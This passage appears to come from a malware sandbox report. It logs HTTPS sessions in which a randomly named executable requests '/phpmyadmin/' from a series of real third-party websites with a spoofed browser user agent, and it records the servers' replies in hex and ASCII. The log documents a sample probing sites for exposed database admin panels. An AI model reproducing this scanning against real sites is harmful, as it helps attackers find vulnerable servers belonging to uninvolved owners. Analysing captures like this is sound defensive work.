2023-11-26 05:59:30 UTC	624	IN	Data Raw: 37 63 62 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c Data Ascii: 7cb5<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://hightideinc.com/xmlrpc.php" /><script type="text/javascript">document.documentElement.cl
2023-11-26 05:59:30 UTC	1369	IN	Data Raw: 22 22 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 3b 22 63 6f 6d 70 6c 65 74 65 22 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 62 29 3a 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 62 29 3a 62 28 29 7d 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 22 65 74 2d 64 69 76 69 2d 75 73 65 72 66 6f 6e 74 73 22 3e 40 66 6f 6e 74 Data Ascii: "");document.getElementsByTagName("body")[0].appendChild(a)};"complete"!==document.readyState?window.addEventListener?window.addEventListener("load",b):window.attachEvent&&window.attachEvent("onload",b):b()}();</script><style id="et-divi-userfonts">@font
2023-11-26 05:59:30 UTC	1369	IN	Data Raw: 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 44 69 76 69 20 76 2e 34 2e 32 33 2e 31 22 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 70 2d Data Ascii: ttps://hightideinc.com/feed/" /><link rel="alternate" type="application/rss+xml" title="High Tide Inc. » Comments Feed" href="https://hightideinc.com/comments/feed/" /><meta content="Divi v.4.23.1" name="generator" /><link rel="stylesheet" id="wp-
2023-11-26 05:59:30 UTC	1369	IN	Data Raw: 6f 74 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 37 35 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 66 6f 6f 74 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f Data Ascii: oter,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;fo
2023-11-26 05:59:30 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 Data Ascii: -dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video{margin:0 0 1em}.wp-block-template-p
2023-11-26 05:59:30 UTC	1369	IN	Data Raw: 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30 29 20 30 25 2c 72 67 62 28 30 2c 32 30 38 2c 31 33 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 74 6f 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 32 2c 31 38 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a Data Ascii: gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red:
2023-11-26 05:59:30 UTC	1369	IN	Data Raw: 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 78 2d 6c 61 72 67 65 3a 20 34 32 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 34 30 3a 20 31 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 35 30 3a 20 31 2e 35 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 Data Ascii: font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spaci
2023-11-26 05:59:30 UTC	1369	IN	Data Raw: 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 Data Ascii: .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: au
2023-11-26 05:59:30 UTC	1369	IN	Data Raw: 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 Data Ascii: hite) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	51675	47.246.24.211	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	169	OUT	GET /phpmyadmin/ HTTP/1.1 Host: wonka.cc Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	734	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 54 65 6e 67 69 6e 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 30 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 53 50 2e 4e 45 54 5f 53 65 73 73 69 6f 6e 49 64 3d 69 6b 63 6b 64 6c 79 6e 6d 33 67 6b 69 79 6f 6e 65 65 63 32 73 6a 70 63 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b Data Ascii: HTTP/1.1 404 Not FoundServer: TengineContent-Type: text/html; charset=utf-8Content-Length: 103Connection: closeDate: Sun, 26 Nov 2023 05:59:30 GMTCache-Control: privateSet-Cookie: ASP.NET_SessionId=ikckdlynm3gkiyoneec2sjpc; path=/; HttpOnly;
2023-11-26 05:59:30 UTC	103	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 6e 77 7a 69 6d 67 2e 77 65 7a 68 61 6e 2e 6e 65 74 2f 73 74 61 74 69 63 2d 6a 73 2f 70 61 67 65 34 30 34 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: <!DOCTYPE html><html><head><script src='https://nwzimg.wezhan.net/static-js/page404.js'></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	52342	103.224.212.226	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ondania.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	340	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 5f 5f 74 61 64 3d 31 37 30 30 39 37 38 33 36 39 2e 35 38 30 33 36 39 34 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 33 2d 4e 6f 76 2d 32 30 33 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 33 36 30 30 30 30 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 33 38 2e 6f 6e 64 61 6e 69 61 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 3f 73 75 62 69 64 31 3d 32 30 32 33 31 31 32 36 2d 31 36 35 39 2d 32 39 35 66 2d 61 35 34 32 2d 36 30 33 63 63 63 30 36 64 Data Ascii: HTTP/1.1 302 Founddate: Sun, 26 Nov 2023 05:59:29 GMTserver: Apacheset-cookie: __tad=1700978369.5803694; expires=Wed, 23-Nov-2033 05:59:29 GMT; Max-Age=315360000location: http://ww38.ondania.com/phpmyadmin/?subid1=20231126-1659-295f-a542-603ccc06d
2023-11-26 05:59:29 UTC	2	IN	Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50955	148.66.138.193	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: octetpowers.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	298	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 30 0d 0a 43 6f 6e 74 65 6e Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Conten
2023-11-26 05:59:30 UTC	1699	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 Data Ascii: <!DOCTYPE html><html><head><title>File Not Found</title><meta http-equiv="content-type" content="text/html; charset=utf-8" ><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">body { background-color: #eee

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	52329	202.226.37.158	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: daisyokogyo.co.jp Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	165	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=UTF-8Content-Length: 0Connection: closeLocation: /

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	53656	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	634	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 65 73 6f 66 74 2e 61 63 61 64 65 6d 79 2f 70 68 70 6d 79 61 64 6d 69 6e 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeLocation: https://esoft.academy/phpmyadminCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:30 UTC	422	IN	Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 7d 0a 20 20 20 20 2e 65 72 72 6f 72 20 7b 63 6f 6c 6f 72 3a 20 23 65 30 30 3b 7d 0a 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 7d 0a 20 20 20 20 68 31 20 7b 66 Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title><style> body {margin: 20px; font-family: helvetica, sans-serif; max-width: 800px;} .error {color: #e00;} pre {font-size: 16px;} h1 {f
2023-11-26 05:59:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	51886	117.20.63.148	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: student.debritto.sch.id Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 0d 0a 58 2d 43 61 63 68 65 3a 20 48 49 54 20 66 72 6f 6d 20 42 61 63 6b 65 6e 64 0d 0a 53 74 72 69 63 74 2d 54 72 61 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginx/1.20.1Date: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 238Connection: closeLocation: http://117.20.63.148:2030/pma/X-Cache: HIT from BackendStrict-Tra
